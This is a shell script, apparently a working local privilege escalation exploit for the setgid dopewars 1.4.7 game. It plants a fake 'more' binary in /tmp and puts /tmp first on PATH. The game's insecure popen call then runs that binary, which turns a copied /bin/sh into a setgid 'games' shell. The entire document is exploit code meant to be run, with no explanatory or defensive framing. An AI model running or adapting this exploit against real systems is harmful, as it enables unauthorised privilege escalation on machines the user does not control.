#!/bin/sh
# dopewars.sh(1.4.7): shell script by Vade79->v9@fakehalo.org.  gives gid=games.
# insecure use of a popen call while setgid isn't good in any situation.

DOPEWARS=`which dopewars`
if [ "$DOPEWARS" ]; 
 then echo "[*] dopewars binary found: $DOPEWARS."
 else echo "[!] dopewars binary was not found, aborted.";exit
fi
CHECK=`ls -l $DOPEWARS | grep sr-`
if [ "$CHECK" ]; 
 then echo "[*] dopewars found to be setgid, proceeding."
 else echo "[!] dopewars NOT found to be setgid, aborted.";exit
fi
PATH=/tmp:$PATH
cp /bin/sh /tmp/gidsh
echo 'main(){system("chgrp games /tmp/gidsh;chmod 2755 /tmp/gidsh");}'>/tmp/more.c
cc /tmp/more.c -o /tmp/more
cat <<X>/tmp/dopecmds
help
quit
X
dopewars -s</tmp/dopecmds 1>/dev/null 2>&1
rm -f /tmp/more* /tmp/dopecmds
CHECK=`ls -l /tmp/gidsh | grep sr-`
if [ "$CHECK" ]; 
 then echo "[*] success, setgid shell is in: /tmp/gidsh."
 else echo "[!] failed, the setgid shell doesn't exist."
fi
